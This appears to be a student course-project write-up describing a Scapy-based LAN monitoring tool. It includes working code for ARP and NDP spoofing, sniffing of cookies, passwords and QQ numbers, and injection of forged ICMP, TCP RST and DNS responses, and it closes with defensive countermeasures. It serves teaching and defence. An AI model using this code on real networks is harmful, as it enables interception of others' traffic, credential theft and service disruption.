2020-12-26Network
Traffic Monitoring and Anti-Monitoring
Course Project for Computer Networks
By: F5、zhangyc
Source Code: https://github.com/F5Soft/NetMonitor
1. Project Overview
Using Python modules such as Scapy, we designed and
implemented a network traffic monitoring system that
runs on both Windows and Linux. The monitoring system
resides on the same LAN as the target host being
monitored. The network topology is shown below:

The system implements:
- LAN scanning: Using ARP requests
and ICMP multicast requests to obtain IPv4, IPv6, and
MAC addresses of all devices on the current LAN,
including the target host and gateway.
- Packet interception: Performing ARP
and NDP spoofing attacks on the target host and LAN
gateway to capture packets between the target host and
the external network.
- Deep packet analysis: Displaying
packet details, protocol statistics, user profiling, and
sensitive information such as QQ accounts, Cookies, and
passwords via a visual interface.
- Network blocking: Matching
intercepted packets against IP, domain, and keyword
blacklists. Upon detection, the target host can be
disconnected using ARP/NDP spoofing, ICMP
Unreachable/Redirect attacks, TCP RST attacks, and DNS
poisoning.
In response to the ease of stealing sensitive
information and launching attacks on a LAN, we propose
corresponding anti-monitoring measures
to better protect privacy and enable secure
communication.
Before monitoring or attacking, the first step is
information collection.
2.1
Obtaining Local Network Configuration
To support cross-platform operation, we use the
Python netifaces module to retrieve the IP
address, subnet mask, default gateway, MAC address, and
default interface for each network adapter.
We then compute the network address (CIDR) from the
host IP and subnet mask. By sending an ARP request to
the default gateway IP, we obtain the gateway’s MAC
address.
2.2 IPv4 Scanning
We implemented two scanning methods for IPv4
hosts.
2.2.1 ARP Scanning
Knowing the local network address, we construct ARP
request packets with Scapy:
req_list = l2.Ether(dst='ff:ff:ff:ff:ff:ff') / l2.ARP(pdst=net)
We iterate over all IPs in the subnet, broadcast the
ARP frame, and record the IP and MAC addresses from
valid ARP responses.
2.2.2 ICMP Scanning
In practice, ARP scanning sometimes fails to return
all results immediately. Thus, we also implemented ICMP
scanning.
According to RFC919, the broadcast address of a
network is the network number with all host bits set to
1. We compute the broadcast address and send an ICMP
Echo Request to it:
req = inet.IP(dst=multicast_dst) / inet.ICMP()
We extract the source IP and MAC from responses and
add them to the scan results.
2.3 IPv6 Scanning
According to RFC4291, the structure of an IPv6 global
unicast address is:
| field | routing prefix | subnet id | interface identifier |
The structure of an IPv6 link-local unicast
address:
| field | prefix | zeroes | interface identifier |
The suffix is usually 64 bits. Brute-force scanning
via Neighbor Solicitation is unrealistic, as it would
require sending (2^{64}) packets.
Instead, we use ICMPv6 Echo Request with IPv6
multicast. The address ff02::1 represents
all nodes on the local link.
req = inet6.IPv6(dst='ff02::1') / inet6.ICMPv6EchoRequest()
This only returns link-local addresses starting with
fe80. Most hosts also have one or more
global IPv6 addresses.
Since the Interface Identifier is
derived from the device MAC via DHCPv6 and is unique on
the LAN, we can reconstruct the global IPv6 address by
replacing the 64-bit prefix of the link-local
address:
for net6 in self.net6:
self.rarp_table6[res[l2.Ether].src].add(
str(ipaddress.IPv6Address((
int(ipaddress.IPv6Address(res[inet6.IPv6].src)) & \
0xFFFFFFFFFFFFFFFF) + \
int(ipaddress.IPv6Address(net6.split('/')[0])))))
However, some routers assign temporary IPv6
addresses, whose last 64 bits are not the
interface identifier.

In practice, only the temporary address often
responds to ICMPv6 multicast pings. We therefore use a
self-learning mechanism: when we
capture a packet not sent or received by the local host
and not in the known target list, we add its source IPv6
to the target address set.
3. Spoofing Attacks
3.1 ARP Spoofing
When host A communicates with the external network,
it sends IP packets through gateway B. To do so, A must
learn B’s MAC address via ARP:
- A broadcasts an ARP request for B’s IP.
- All hosts on the LAN receive the request.
- B replies with its IP and MAC.
- A caches the mapping.
ARP responses can be easily forged. By continuously
sending spoofed ARP replies, we can make A believe that
our host C is the gateway.
We construct spoofed ARP responses
(op=2):
p = l2.Ether(dst=self.target_mac) / \
l2.ARP(op=2, psrc=router_ip, pdst=target_ip, hwsrc=self.mac)
Similarly, we spoof the gateway to believe that A’s
MAC is ours:
p = l2.Ether(dst=self.router_mac) / \
l2.ARP(op=2, psrc=target_ip, pdst=router_ip, hwsrc=mac)
To maintain the spoof, we send these packets every 5
seconds by default.
3.2 NDP Spoofing
NDP (Neighbor Discovery Protocol) spoofing (or NA
spoofing) is the IPv6 equivalent of ARP spoofing. ICMPv6
replaces ARP, and Neighbor Advertisement (NA) replaces
the ARP response.
Differences from IPv4:
- ICMPv6 is encapsulated in IPv6, so we must forge the
source IPv6 address.
- A host may have multiple IPv6 addresses; we must
spoof all pairs of target and gateway IPv6
addresses.
To spoof the target host A:
for target_ip6 in self.target_ip6:
for router_ip6 in self.router_ip6:
p = l2.Ether(dst=self.target_mac) / \
inet6.IPv6(src=router_ip6, dst=target_ip6) / \
inet6.ICMPv6ND_NA(tgt=router_ip6, R=0) / \
inet6.ICMPv6NDOptDstLLAddr(lladdr=self.mac)
sendp(p, verbose=False, iface=self.iface)
The tgt field imitates the gateway IPv6,
and lladdr sets our MAC.
To spoof the gateway B:
for target_ip6 in self.target_ip6:
for router_ip6 in self.router_ip6:
p = l2.Ether(src=mac, dst=self.router_mac) / \
inet6.IPv6(src=target_ip6, dst=router_ip6) / \
inet6.ICMPv6ND_NA(tgt=target_ip6, R=0) / \
inet6.ICMPv6NDOptDstLLAddr(lladdr=mac)
sendp(p, verbose=False, iface=self.iface)
3.3 Packet Capture
and Filtering
3.3.1 Enabling IP
Forwarding
After successful spoofing, we can capture traffic
between A and B. To allow normal communication while
intercepting, we enable IP forwarding.
On Linux:
echo 1 > /proc/sys/net/ipv4/ip_forward
sudo sysctl -w net.ipv6.conf.all.forwarding=1
On Windows: Set IPEnableRouter to
1 in the registry and start the
Routing and Remote Access service.

3.3.2 Disabling ICMP
Redirects
On Windows, we must disable ICMP Redirects to avoid
breaking spoofing. Set EnableICMPRedirect
to 0.
ICMP Redirect tells the host to use a better gateway.
During spoofing, this would reveal the real gateway MAC,
especially for IPv6.
For IPv6, ICMPv6 Redirect includes the target MAC
directly, which would immediately disable spoofing:

We use Windows Firewall to block outbound ICMPv6
Redirects:

3.3.3 Packet Capture
We use Scapy’s AsyncSniffer:
self.sniffer = AsyncSniffer(lfilter=self._filter, iface=self.iface, prn=on_recv)
A filter function _filter is applied,
and on_recv processes each captured
packet.
3.3.4 Filtering
We filter out:
- Packets from or to the local host
- Multicast packets
- ICMPv6 Neighbor Advertisement messages used in
spoofing
- Duplicate forwarded packets (same payload)
if p[l2.Ether].type == 2048:
src = p[inet.IP].src
dst = p[inet.IP].dst
return not ipaddress.IPv4Address(dst).is_multicast \
and src not in self.ip and dst not in self.ip
elif p[l2.Ether].type == 34525:
src = p[inet6.IPv6].src
dst = p[inet6.IPv6].dst
return not p.haslayer(inet6.ICMPv6ND_NA) \
and not ipaddress.IPv6Address(dst).is_multicast \
and src not in self.ip6 and dst not in self.ip6
return False
We also ignore duplicate forwarded packets:
if p[1].payload == self._prev:
return
self._prev = p[1].payload
Test Environment
| Target Host A | dc:a6:32:af:98:ec | 192.168.1.107 fe80::a934:9be8:5d6:aeeb 2409:8a34:1a13:d930:a934:9be8:5d6:aeeb 2409:8a34:1a13:d930::1005
(temporary) |
| Gateway B | 64:6e:97:0e:81:aa | 192.168.1.1 fe80::666e:97ff:fe0e:81aa 2409:8a34:1a13:d930:666e:97ff:fe0e:81aa |
| Host C (Us) | 94:b8:6d:54:fd:30 | 192.168.1.102 fe80::6da6:4867:20f4:1330 2409:8a34:1a13:d930:6da6:4867:20f4:1330 2409:8a34:1a13:d930::1004
(temporary) |
Both IPv4 and IPv6 spoofing work reliably. The system
automatically learns temporary IPv6 addresses from
captured traffic.

4. Protocol Statistics
We classify packets by protocol layer:

- Ethernet type:
- IPv4
proto / IPv6 nh:6: TCP17: UDP1: ICMP58: ICMPv6
- Application layer is identified by port and payload:
- 80/443: HTTP/HTTPS
- 23: Telnet
- 20/21: FTP
- 53: DNS
- 8000: OICQ (QQ)
5. Traffic Analysis
We deeply analyze HTTP, DNS, FTP, Telnet, and OICQ
traffic to extract:
- URLs, domains, and IPs
- Cookies, User-Agent
- Usernames and passwords
- QQ numbers
- Browsing history
5.1 HTTP Analysis
domain = p[http.HTTPRequest].Host.decode('ascii', 'replace')
url = p[http.HTTPRequest].Host + p[http.HTTPRequest].Path
url = parse.unquote(url.decode('ascii', 'replace'))
if p[http.HTTPRequest].Cookie is not None:
cookie = p[http.HTTPRequest].Cookie.decode('ascii', 'replace')
self.add_password('http://' + domain, '[Cookie]', cookie)
5.1.3 User-Agent
if p[http.HTTPRequest].User_Agent is not None:
self.web_ua = p[http.HTTPRequest].User_Agent.decode('ascii', 'replace')
5.1.4 Form Data (POST)
We parse
application/x-www-form-urlencoded and
application/json to extract
username and password.
5.1.5 Web Content
We scan HTTP response payloads for sensitive
keywords.
5.2 FTP Analysis
FTP transmits credentials in plaintext. We capture
USER and PASS commands:
username = re.findall('(?i)USER (.*)', raw)
password = re.findall('(?i)PASS (.*)', raw)
5.3 Telnet Analysis
Telnet is also plaintext. We track login prompts and
buffer input character by character until Enter.
5.4 DNS Analysis
DNS queries and responses are unencrypted. We build a
reverse DNS map from IP to domain:
if p.haslayer(dns.DNSRR) and p[dns.DNSRR].type in [1, 28]:
ip = p[dns.DNSRR].rdata
self.dns_map[ip] = domain
5.5 OICQ (QQ) Analysis
QQ uses port 8000. The QQ number is encoded in bytes
8–11 of the plaintext UDP payload:
raw = bytes(p[inet.UDP].payload)
if raw[0] != b'\x02':
return
qq = str(int.from_bytes(raw[7:11], 'big', signed=False))
6. Man-in-the-Middle
Attacks
When blacklisted IPs, domains, or keywords are
detected, the system launches attacks to disconnect the
target host.
6.1 ARP/NDP Spoofing
(Hard Block)
Similar to Section 3, but we spoof a
non-existent MAC to the gateway, so
return traffic is dropped.
6.2 ICMP Unreachable
Attack
We immediately send a spoofed Destination
Unreachable packet to the target:
exp = inet.IP(src=p[inet.IP].dst, dst=p[inet.IP].src) / inet.ICMP(type=3, code=1) / p[inet.IP]
For IPv6:
exp = inet6.IPv6(src=p[inet6.IPv6].dst, dst=p[inet6.IPv6].src) / inet6.ICMPv6DestUnreach() / p[inet6.IPv6]
6.3 ICMP Redirect
Attack
We send a spoofed ICMP Redirect pointing to an
invalid gateway (e.g., loopback):
exp = inet.IP(src=p[inet.IP].dst, dst=p[inet.IP].src) / inet.ICMP(type=5, code=1, gw='127.0.0.1') / p[inet.IP]
6.4 TCP RST Attack
We forge TCP RST segments to immediately tear down
connections:
seq = p[inet.TCP].seq + len(p[inet.TCP].payload)
ack = p[inet.TCP].ack
exp1 = inet.IP(src=src, dst=dst) / inet.TCP(sport=sport, dport=dport, seq=seq, window=0, flags=4)
exp2 = inet.IP(src=dst, dst=src) / inet.TCP(sport=dport, dport=sport, seq=ack, window=0, flags=4)
This works even for encrypted TLS/SSH traffic.
6.5 DNS Poisoning
We forge DNS responses to redirect domains to
localhost:
- A records →
127.0.0.1 - AAAA records →
::1
exp = inet.IP(dst=p[inet.IP].src, src=p[inet.IP].dst) / \
inet.UDP(dport=p[inet.UDP].sport, sport=p[inet.UDP].dport) / \
dns.DNS(id=p[dns.DNS].id, qd=p[dns.DNS].qd, aa=1, qr=1,
an=dns.DNSRR(rrname=p[dns.DNS].qd.qname, ttl=10, rdata='127.0.0.1'))
7. Visualization
A web-based dashboard displays real-time monitoring
results. It includes 5 pages:
7.1 Home
http://127.0.0.1/
- LAN info, scanning results, monitoring
configuration

7.2 Protocol
Statistics
http://127.0.0.1/stats/
- Real-time per-protocol packet counts

http://127.0.0.1/packets/

7.4 Blocking Rules
http://127.0.0.1/ban/
- IP/domain/keyword blacklists
- Attack methods selection
- Network status

http://127.0.0.1/user/
- Browser info, QQ number, frequent domains,
credentials, cookies

8. Anti-Monitoring
Measures
Our goal is to defend against such
attacks, not just perform them. LAN attacks are cheap
and widely effective against home/public Wi-Fi.
8.1 IP–MAC Binding
Many routers support static IP–MAC bindings to defeat
ARP spoofing. However, many do not support IPv6 binding,
leaving NDP spoofing possible.
8.2 Use Secure
Protocols
- HTTPS, TLS, SSH
- VPNs or encrypted proxies
- Encrypts payload
- Hides real destination IP
- Bypasses IP/domain/keyword blocking
8.3 Safe Browsing
Habits
Always check SSL/TLS certificates. Do not proceed
when a certificate error appears — it may indicate a
MITM attack.

9. References
[1] Scapy Documentation:https://scapy.readthedocs.io/
[2] Python – How to create an ARP Spoofer using
Scapy:https://www.geeksforgeeks.org/python-how-to-create-an-arp-spoofer-using-scapy/
[3] IPv6 Neighbour Spoofing:https://packetlife.net/blog/2009/feb/2/ipv6-neighbor-spoofing/
[4] Multicast Addresses:https://en.wikipedia.org/wiki/Multicast_address
[5] RFC919:https://tools.ietf.org/html/rfc919
[6] RFC4291:https://tools.ietf.org/html/rfc4291
[7] IANA ICMP Parameters:https://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml
[8] IANA ICMPv6 Parameters:https://www.iana.org/assignments/icmpv6-parameters/icmpv6-parameters.xhtml
[9] Build an FTP Password Sniffer with Scapy and
Python:https://null-byte.wonderhowto.com/how-to/build-ftp-password-sniffer-with-scapy-and-python-0169759/
[10] TCP Reset Attack:https://gist.github.com/spinpx/263a2ed86f974a55d35cf6c3a2541dc2